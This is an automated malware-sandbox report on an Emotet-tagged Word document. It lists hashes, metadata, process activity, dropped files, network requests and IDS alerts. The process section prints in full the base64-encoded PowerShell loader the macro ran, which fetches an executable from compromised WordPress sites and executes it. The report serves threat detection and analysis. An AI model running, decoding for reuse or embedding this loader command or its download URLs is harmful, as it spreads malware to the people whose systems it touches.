analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

Documentation.doc

Full analysis: https://app.any.run/tasks/7c1ea27b-5dcf-4d66-84fd-af60d247d9de
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Analysis date: October 20, 2020, 10:24:51
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
loader
emotet-doc
emotet
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Title: Voluptate., Author: Tom Caron, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Oct 20 07:24:00 2020, Last Saved Time/Date: Tue Oct 20 07:24:00 2020, Number of Pages: 1, Number of Words: 2599, Number of Characters: 14816, Security: 8
MD5:

06FC7ACBC8220CB49E2DDE1160893ADC

SHA1:

067A95BD6899AF076921A1468A8343000A1CFBF9

SHA256:

59EAF230E17C7F2F658F67B84E83EEC4F357CC08E9AB5D256C0E3BFE597409FB

SSDEEP:

3072:NOr++urKzWWigMoP/8FJ94rf1nFJsVllZ1Uyi8UwdzhLYo/cNJivKie6B/w2yiWq:SJiP/w2PtCLpZY0tRhov

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • Eoq7isj.exe (PID: 4068)
    • Downloads executable files from the Internet

      • POwersheLL.exe (PID: 3152)
  • SUSPICIOUS

    • Creates files in the user directory

      • POwersheLL.exe (PID: 3152)
    • Executable content was dropped or overwritten

      • POwersheLL.exe (PID: 3152)
    • PowerShell script executed

      • POwersheLL.exe (PID: 3152)
    • Executed via WMI

      • Eoq7isj.exe (PID: 4068)
      • POwersheLL.exe (PID: 3152)
  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2480)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2480)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

CompObjUserType: Microsoft Word 97-2003 Document
CompObjUserTypeLen: 32
LocaleIndicator: 1033
CodePage: Unicode UTF-16, little endian
HeadingPairs:
  • Title
  • 1
TitleOfParts: -
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 15
CharCountWithSpaces: 17381
Paragraphs: 34
Lines: 123
Company: -
Security: Locked for annotations
Characters: 14816
Words: 2599
Pages: 1
ModifyDate: 2020:10:20 06:24:00
CreateDate: 2020:10:20 06:24:00
TotalEditTime: -
Software: Microsoft Office Word
RevisionNumber: 1
LastModifiedBy: -
Template: Normal.dotm
Comments: -
Keywords: -
Author: Tom Caron
Subject: -
Title: Voluptate.
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
41
Monitored processes
3
Malicious processes
0
Suspicious processes
1

Behavior graph

Click at the process to see the details
start winword.exe no specs powershell.exe eoq7isj.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2480"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Documentation.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3152POwersheLL -ENCOD cwBlAHQALQBJAHQARQBNACAAKAAiAFYAYQByAEkAQQBCACIAKwAiAEwAZQAiACsAIgA6ACIAKwAiAHUAdABXAEYAcAAiACkAIAAoACAAWwB0AHkAcABFAF0AKAAnAHMAWQBzAHQAZQBNACcAKwAnAC4ASQBPAC4AJwArACcARABpAHIAZQBjAFQAJwArACcATwByAHkAJwApACAAKQAgADsAIAAgACQASgBlADMAWgBUAD0AIABbAFQAeQBQAGUAXQAoACcAUwB5AHMAVAAnACsAJwBlACcAKwAnAE0ALgBuAEUAVAAuAFMARQAnACsAJwBSAHYAaQBDACcAKwAnAEUAUABPACcAKwAnAEkATgAnACsAJwB0AE0AYQBOACcAKwAnAGEAJwArACcARwBFAHIAJwApACAAIAA7ACAAIAAkADIAagB4AEYAPQAgACAAWwBUAFkAUABFAF0AKAAnAHMAWQBTAHQAZQBtACcAKwAnAC4ATgAnACsAJwBlAHQALgAnACsAJwBzAGUAQwB1ACcAKwAnAHIAaQB0AHkAUAByAG8AdABvAEMAbwAnACsAJwBMAFQAJwArACcAWQBQACcAKwAnAGUAJwApADsAIAAgACQAUABhAGkAMgBmAHoANQA9ACgAJwBJAHQAYgA0AG0AJwArACcAYwA4ACcAKQA7ACQATABmADkAOQBzAHQAdgA9ACQARAA5AGwAMgAwAGQAMAAgACsAIABbAGMAaABhAHIAXQAoADgAMAAgAC0AIAAzADgAKQAgACsAIAAkAEIANQBrAHoAMgAwADAAOwAkAEUAMABsAHIAawA1AGwAPQAoACcAVgA5AF8AcQAnACsAJwAwACcAKwAnAHUAeAAnACkAOwAgACgAZwBFAHQALQB2AGEAUgBJAEEAYgBsAGUAIAAoACcAVQAnACsAJwBUAHcARgBwACcAKQAgACAALQBWAGEATAApADoAOgBjAFIAZQBhAFQAZQBkAEkAcgBlAEMAVABvAHIAeQAoACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAIAArACAAKAAoACcAewAnACsAJwAwAH0ASwB4ACcAKwAnAGEAbAAnACsAJwAwAF8AJwArACcAbgB7ADAAfQBZACcAKwAnAGYAbwA2AG8AMgAwAHsAMAB9ACcAKQAgACAALQBmACAAWwBDAGgAQQByAF0AOQAyACkAKQA7ACQARwA2ADEAcgBwAGkAYQA9ACgAJwBCACcAKwAnAHIAJwArACcAegBsAG8AZQBtACcAKQA7ACAAJABqAGUAMwB6AHQAOgA6AFMARQBDAFUAcgBpAFQAeQBQAFIAbwB0AG8AYwBPAEwAIAA9ACAAIAAoACAAQwBIAGkATABEAEkAdABlAE0AIAAgACgAIgBWAGEAUgAiACsAIgBpACIAKwAiAGEAYgBsAEUAOgAyAGoAIgArACIAWABGACIAKQApAC4AdgBBAEwAVQBlADoAOgBUAGwAUwAxADIAOwAkAE8AbgB3AG8AMgBxAGoAPQAoACcAUQB2ACcAKwAnADkAJwArACcAYQBlAHQANAAnACkAOwAkAFQAbwA0AGgANgBlADUAIAA9ACAAKAAnAEUAbwBxADcAaQBzACcAKwAnAGoAJwApADsAJABZADQAcAA1AGYAXwBtAD0AKAAnAFAAJwArACcAdwA3ACcAKwAnAHYAOQBqAGYAJwApADsAJABQAHAANQA2AGwAYQBvAD0AKAAnAFIAaABmACcAKwAnAF8AeQBxACcAKwAnAGUAJwApADsAJABCADEAbwAyAG4AXwBvAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAGEARgAnACsAJwBvAEsAeAAnACsAJwBhAGwAMABfAG4AYQBGAG8AJwArACcAWQBmACcAKwAnAG8ANgAnACsAJwBvACcAKwAnADIAMABhAEYAbwAnACkALgBSAEUAcABMAEEAQwBlACgAJwBhAEYAbwAnACwAJwBcACcAKQApACsAJABUAG8ANABoADYAZQA1ACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABDAHgAcQA5AGEAcABnAD0AKAAnAEcAaQBwAHMAJwArACcAeABoAHUAJwApADsAJABHADgAdQByAHYANABzAD0AbgBgAGUAVwAtAE8AYABCAEoAZQBDAFQAIABuAGUAVAAuAFcARQBCAEMAbABpAEUATgBUADsAJABZAF8AOQAwAGYAOQA3AD0AKAAnAGgAdAB0AHAAOgAnACsAJwAvACcAKwAnAC8AJwArACcAbQB5ACcAKwAnAGEAbgAnACsAJwBtAGEAcgBsAGUAZwBhAGwAJwArACcAcwAnACsAJwBlACcAKwAnAHIAdgAnACsAJwBpACcAKwAnAGMAZQBzAC4AYwBvAG0AJwArACcALwB3AHAALQAnACsAJwBhACcAKwAnAGQAbQAnACsAJwBpAG4ALwAzAGgALwAqACcAKwAnAGgAJwArACcAdAB0ACcAKwAnAHAAOgAvAC8AZABhAHQAYQAnACsAJwBpAG4AcwAnACsAJwBpACcAKwAnAGcAaAAnACsAJwB0AC4AJwArACcAawAnACsAJwByAC8AYwBvACcAKwAnAG4AdABhAGMAdAAvAE0ARwBYACcAKwAnAFgAeAAvACoAJwArACcAaAB0AHQAcABzADoALwAvAGMAbABlACcAKwAnAGEAbgBtAHkAJwArACcAcAAnACsAJwBsAGEAYwBlAC4AJwArACcAaQBuAC8AYQBkACcAKwAnAG0AJwArACcAaQBuAC8AbAAnACsAJwA2ACcAKwAnAGkAQwAvACoAJwArACcAaAAnACsAJwB0AHQAJwArACcAcABzACcAKwAnADoALwAvACcAKwAnAG4AZQAnACsAJwB3AC4AZwB5ACcAKwAnAG0AJwArACcAbQAnACsAJwB1ACcAKwAnAHMAJwArACcAYwAnACsAJwBsAGUALgAnACsAJwB0ACcAKwAnAGsALwByAGUAJwArACcAZwBlACcAKwAnAG4AYwB5ACcAKwAnAC0AZgAnACsAJwBpACcAKwAnAHIAJwArACcAZQBwACcAKwAnAGwAYQBjACcAKwAnAGUALwBjACcAKwAnAFAAJwArACcAVgBkAGwALwAqAGgAdAB0ACcAKwAnAHAAcwA6AC8ALwB0AGgAJwArACcAZQA4ADQAaABvAHQAZQBsAC4AJwArACcAYwBvAG0ALwB3AHAALQBjACcAKwAnAG8AbgAnACsAJwB0AGUAbgB0AC8AMgAnACsAJwA3AC8AKgBoAHQAdABwADoALwAvAGQAaQBuAGEAbQAnACsAJwBvACcAKwAnAGMAcwAuAGMAbwBtAC4AJwArACcAYgByAC8AZwBpAG4AcwAnACsAJwBlAG4AZwAtACcAKwAnAHAAJwArACcAcgBpAGMAZQBzACcAKwAnAC8AUgBOAEsAJwArACcASQAnACsAJwBpAE8ALwAqACcAKwAnAGgAJwArACcAdAB0AHAAOgAvACcAKwAnAC8AZQBkAHUAbQAnACsAJwBhADIALgBjACcAKwAnAG8AJwArACcAbQAvACcAKwAnAG8AbgB0ACcAKwAnAGEAcgBpACcAKwAnAG8AMgAuAGMAbwBtACcAKwAnAC8AcgBmAGUAJwArACcAVwAvACoAaAAnACsAJwB0ACcAKwAnAHQAcAAnACsAJwBzADoALwAnACsAJwAvAGMAJwArACcAaAByAGkAcwB0AGkAYQBuAHMAdQB0AHQAJwArACcAZQByAC4AYwBoAC8AdwBwAC0AJwArACcAaQAnACsAJwBuACcAKwAnAGMAbAAnACsAJwB1ACcAKwAnAGQAZQBzAC8AJwArACcASQAvACcAKQAuAFMAUABMAEkAVAAoACQARwB5AGwANQB5AG8AeQAgACsAIAAkAEwAZgA5ADkAcwB0AHYAIAArACAAJABLADgAZgA5ADYAbQBiACkAOwAkAE0ANQByAGwANQBpADQAPQAoACcARwAnACsAJwBoAHcAYwB3ADgANwAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEYAZgA3AHIAMABqAF8AIABpAG4AIAAkAFkAXwA5ADAAZgA5ADcAKQB7AHQAcgB5AHsAJABHADgAdQByAHYANABzAC4AZABPAHcAbgBMAE8AYQBEAEYAaQBsAGUAKAAkAEYAZgA3AHIAMABqAF8ALAAgACQAQgAxAG8AMgBuAF8AbwApADsAJABRAGkAMgBhAGYAbABvAD0AKAAnAFoAJwArACcAdAB0AGUAagAnACsAJwBpADQAJwApADsASQBmACAAKAAoAGcAZQBUAGAALQBgAEkAdABlAG0AIAAkAEIAMQBvADIAbgBfAG8AKQAuAGwAZQBOAEcAVABoACAALQBnAGUAIAAzADgAMwAxADEAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACgAJwB3AGkAbgAnACsAJwAzADIAJwArACcAXwBQAHIAbwBjAGUAcwAnACsAJwBzACcAKQApAC4AQwBSAEUAYQBUAGUAKAAkAEIAMQBvADIAbgBfAG8AKQA7ACQARwBhADQAMQBqAGQAYgA9ACgAJwBEACcAKwAnAHUAJwArACcAcgA0AHYAbABzACcAKQA7AGIAcgBlAGEAawA7ACQAUwBrAHcAdwBhAF8AZwA9ACgAJwBVAG0AbAAxACcAKwAnAHoAOAAnACsAJwBhACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUwA3AG0ANwBjADEAbwA9ACgAJwBTACcAKwAnAGYAYQAyADgAOABvACcAKQA= C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
4068C:\Users\admin\Kxal0_n\Yfo6o20\Eoq7isj.exeC:\Users\admin\Kxal0_n\Yfo6o20\Eoq7isj.exewmiprvse.exe
User:
admin
Company:
Twenty Squares
Integrity Level:
MEDIUM
Description:
Addictedsarah chaturbate iree token
Version:
1.00
Total events
2 041
Read events
1 157
Write events
0
Delete events
0

Modification events

No data
Executable files
1
Suspicious files
2
Text files
0
Unknown types
3

Dropped files

PID
Process
Filename
Type
2480WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR4144.tmp.cvr
MD5:
SHA256:
3152POwersheLL.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\B4P6WNKMEQMPXOEJV3ZK.temp
MD5:
SHA256:
2480WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:FB0A80D87CEECDB167EAE1CAD465CC12
SHA256:E3BBC90BE196079DDA92D65110BEC977A979FEF4D008B58A7D2953D26E5C9978
2480WINWORD.EXEC:\Users\admin\AppData\Local\Temp\VBE\MSForms.exdtlb
MD5:ABDE34091F2F2E4B6729ED843D6E101E
SHA256:40F85167EA67B015DF15482DBF986C23376D7DB7915EA8B49DE712B54F0C8357
3152POwersheLL.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:D6EE8C34E4C28999F00E385C8808E7DE
SHA256:39D598C410E9903C046FC3390F746643C2FDADA6A544E378311F5DC2EA26DFCB
3152POwersheLL.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF2d4d98.TMPbinary
MD5:D6EE8C34E4C28999F00E385C8808E7DE
SHA256:39D598C410E9903C046FC3390F746643C2FDADA6A544E378311F5DC2EA26DFCB
2480WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$cumentation.docpgc
MD5:AE831BDF832D7A83625C0E1E92EE20D9
SHA256:07420A661780F2FC8EFE7BF4A797F69F1C5808689C19199E73DB4349F9759C35
3152POwersheLL.exeC:\Users\admin\Kxal0_n\Yfo6o20\Eoq7isj.exeexecutable
MD5:9E4A7DADD157BFFAEDF10F5A6093387B
SHA256:39CFB89D570125E39F53DFB7C5E896D36244DF22DE8FB1FAE5089DA38D8596DC
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3152
POwersheLL.exe
GET
200
27.254.111.200:80
http://myanmarlegalservices.com/wp-admin/3h/
TH
executable
336 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3152
POwersheLL.exe
27.254.111.200:80
myanmarlegalservices.com
CS LOXINFO Public Company Limited.
TH
suspicious

DNS requests

Domain
IP
Reputation
myanmarlegalservices.com
  • 27.254.111.200
suspicious

Threats

PID
Process
Class
Message
3152
POwersheLL.exe
A Network Trojan was detected
ET POLICY Terse Named Filename EXE Download - Possibly Hostile
3152
POwersheLL.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3152
POwersheLL.exe
A Network Trojan was detected
AV INFO Suspicious EXE download from WordPress folder
3152
POwersheLL.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
3152
POwersheLL.exe
Misc activity
ET INFO EXE - Served Attached HTTP
No debug info